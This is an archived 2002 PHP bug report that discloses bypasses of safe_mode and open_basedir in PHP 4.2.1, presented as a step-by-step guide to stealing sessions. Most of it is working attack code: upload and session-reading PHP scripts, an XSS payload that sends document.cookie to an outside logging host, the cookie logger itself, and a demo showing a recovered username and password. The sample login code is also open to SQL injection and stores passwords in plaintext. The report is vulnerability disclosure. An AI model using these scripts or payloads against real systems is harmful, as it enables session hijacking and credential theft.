Bug #17790: stealing sessions, breaks safe_mode and open_basedir
| From: | tozz at kijkt dot tv | Date: | Sun, 16 Jun 2002 20:24:37 +0000 |
| Subject: | Bug #17790: stealing sessions, breaks safe_mode and open_basedir | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-10794@lists.php.net to get a copy of this message | ||
From: tozz@kijkt.tv
Operating system: Linux
PHP version: 4.2.1
PHP Bug Type: Session related
Bug description: stealing sessions, breaks safe_mode and open_basedir
Stealing PHP sessions + Break PHP safe_mode + Break PHP open_basedir
This file includes 2 new PHP bugs + a guide on how to use cross scripting
to steal sessions + passwords
PHP bugs:
1) Break safe_mode restriction using move_uploaded_file.
2) Break open_basedir restriction using the PHP link function
This script will upload a file to the dir /css/ op my website
http://www.net-force.nl/css/
Because the move_upload_file changes the users from my own name-> bastijs
ID 566 to apache ID 48
I will be able to break the safe_mode restriction and read files from the
/tmp/ directory with
my steel.php script. ( Chmod 777 /css/ )
upload.php
++++++++++++++
<?
$file = $HTTP_POST_FILES['file']['name'];
$type = $HTTP_POST_FILES['file']['type'];
$size = $HTTP_POST_FILES['file']['size'];
$temp = $HTTP_POST_FILES['file']['tmp_name'];
$size_limit = "100000"; // set size limit in bytes
if ($file){
if ($size < $size_limit){
move_uploaded_file($temp,"/domains/net-force.nl/public_html/www/css/"
.$file);
echo "File <tt>$file</tt> uploaded!";
} else {
echo "Sorry, your file exceeds the size limit of $size_limit
bytes";
}}
echo "
<form enctype='multipart/form-data' action=$PHP_SELF method=post>
Upload a file: <input name='file' type='file'>
<input type='submit' value='Upload'>
</form>
";
?>
++++++++++++++
This script will steal a session from the tmp dir and place a file named
$sessie.txt in your own temp
dir, I used -> http://www.net-force.nl/css/tmp/ so
I will get a file
called
http://www.net-force.nl/css/tmp/88618d3d4af0bb8bd5135472c02e8ecc.txt
If my session ID was: 88618d3d4af0bb8bd5135472c02e8ecc
I used the link function to break the open_basedir restriction so I was
able to view the file.
steel.php
++++++++++++++
<?
if(IsSet($submit) && $submit == "steel"){
link("/tmp/sess_" . $sessie, "tmp/$sessie.txt");
$file = file("tmp/$sessie.txt");
echo $file[0];
}else{
echo "
<form method=\"post\" action=\"$PHP_SELF\">
Sessie:<br>
<input type=\"text\" name=\"sessie\"><br>
<input type=\"submit\" name=\"submit\" value=\"steel\">
</form>
";
}
?>
++++++++++++++
Now I`m gonna test the exploit and steel a session ID using the
cross-scripting exploit.
First I will create a table called css in MYSQL, edit the scripts for your
own server.
CREATE TABLE
css (
id int(10) NOT NULL auto_increment,
naam varchar(40) NOT NULL default '',
password varchar(40) NOT NULL default '',
PRIMARY KEY (id)
) TYPE=MyISAM;
Now I will install an login + register script which will use sessions for
auth.
register.php
++++++++++++++
<?
include('functions.php');
session_start();
if(IsSet($submit) && $submit == "register"){
$Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or
die("Error!");
$info = mysql_fetch_array($Query);
if($info['id'] != ""){
die("error!");
}else{
mysql_query("INSERT INTO css (id, naam, password) VALUES (NULL, '$naam',
'$password')", $db) or die("Error!");
$UserData = $info;
session_register('UserData');
echo("Welcome!");
}
}else{
echo "<h1>Register</h1>
<form method=\"post\" action=\"$PHP_SELF\">
Name:<br>
<input type=\"text\" name=\"naam\"><br>
Password:<br>
<input type=\"password\" name=\"password\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"register\">
</form></td></tr>
";
}
?>
++++++++++++++
login.php
++++++++++++++
<?
session_start();
include('functions.php');
$check = "";
if(IsSet($UserData)){
$sql = mysql_query("SELECT * FROM css WHERE naam='$UserData[naam]'", $db)
or die("Error!");
$user = mysql_fetch_array($sql);
if($user['password'] == $UserData['password']){
$check = "1";
}else{
$check = "0";
}
}
if(IsSet($submit) && $submit == "login"){
$Query = mysql_query("SELECT * FROM css WHERE naam='$naam'", $db) or
die("Error!");
$info = mysql_fetch_array($Query);
if($info['id'] == ""){
die("error!");
}elseif($info['password'] != $password){
die("wrong password!");
}else{
$UserData = $info;
session_register(UserData);
header("location: $PHP_SELF?login");
}
}elseif(IsSet($action) && $action == "logout"){
session_destroy();
header("location: $PHP_SELF?view");
}elseif($check == "1"){
echo("Logged in! <a href=\"$PHP_SELF?action=logout\">logout</a>");
}else{
echo "<h1>Login</h1>
<form method=\"post\" action=\"$PHP_SELF\">
Name:<br>
<input type=\"text\" name=\"naam\"><br>
Password:<br>
<input type=\"password\" name=\"password\"><br><br>
<input type=\"submit\" name=\"submit\" value=\"login\">
</form></td></tr>
";
}
?>
++++++++++++++
functions.php
++++++++++++++
<?
$dbserver = "localhost";
$dbuser = "root";
$dbpass = "";
$dbname = "";
if(!$db = @mysql_connect("$dbserver", "$dbuser", "$dbpass"))
die($error_mysql);
if(!@mysql_select_db("$dbname", $db))
die($error_mysql);
?>
++++++++++++++
Ok my test auth script works fine so now I`m gonna create a
"cross-scripting bugged" script
If you are able to find a cross-scripting bugged site on the same host you
will be able to
steal their session id using the css bug like
this -> make a user from the bugged site open the css bugged script like
this
http://wwww.site.com/script.php?id="><script>document.location='http://www.net-force.nl/css/log.php?'
+document.cookie</script>
Check some cross-scripting tutorials if you don`t get it :)
But I created my own bugged script to simulate the css bug and steal my
own cookie.
bugged.php
++++++++++++++
<html>
<script>document.location='http://www.net-force.nl/css/log.php?'
+document.cookie</script>
</html>
++++++++++++++
Now I`m gonna install the session ID log script. You will have to create a
file called session.txt and
chmod it 777.
log.php
++++++++++++++
<?
$fd = fopen("session.txt", "a+") or die("can`t open file!");
$fout = fwrite($fd, "$QUERY_STRING\n");
fclose($fd);
?>
++++++++++++++
Ok that`s all.... register a new user and login. Now run the bugged.php
and you will be redirected to the log
script. This script will log your cookie + session ID to the session.txt
file. Check the session.txt
you will find something like this:
PHPSESSID=c0b66dd6df22091b72da1763a233dc85
now copy and past c0b66dd6df22091b72da1763a233dc85 into your steal.php,
run it and you will get the
username + password like this:
UserData|a:6:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:3:"Bas";s:4:"naam";s:3:"Bas";i:2;s:3:"aap";s:8:"password";s:3:"aap";}
username: Bas
password: aap
try to login and it works....you stole the user`s password!
Test a full working version of the session steal script on
http://www.net-force.nl/css/
cya,
BasTijs
bastijs@net-force.nl
http://www.net-force.nl
--
Edit bug report at http://bugs.php.net/?id=17790&edit=1
--
Fixed in CVS: http://bugs.php.net/fix.php?id=17790&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=17790&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=17790&r=needtrace
Try newer version: http://bugs.php.net/fix.php?id=17790&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=17790&r=support
Expected behavior: http://bugs.php.net/fix.php?id=17790&r=notwrong
Not enough info: http://bugs.php.net/fix.php?id=17790&r=notenoughinfo
Submitted twice: http://bugs.php.net/fix.php?id=17790&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=17790&r=globals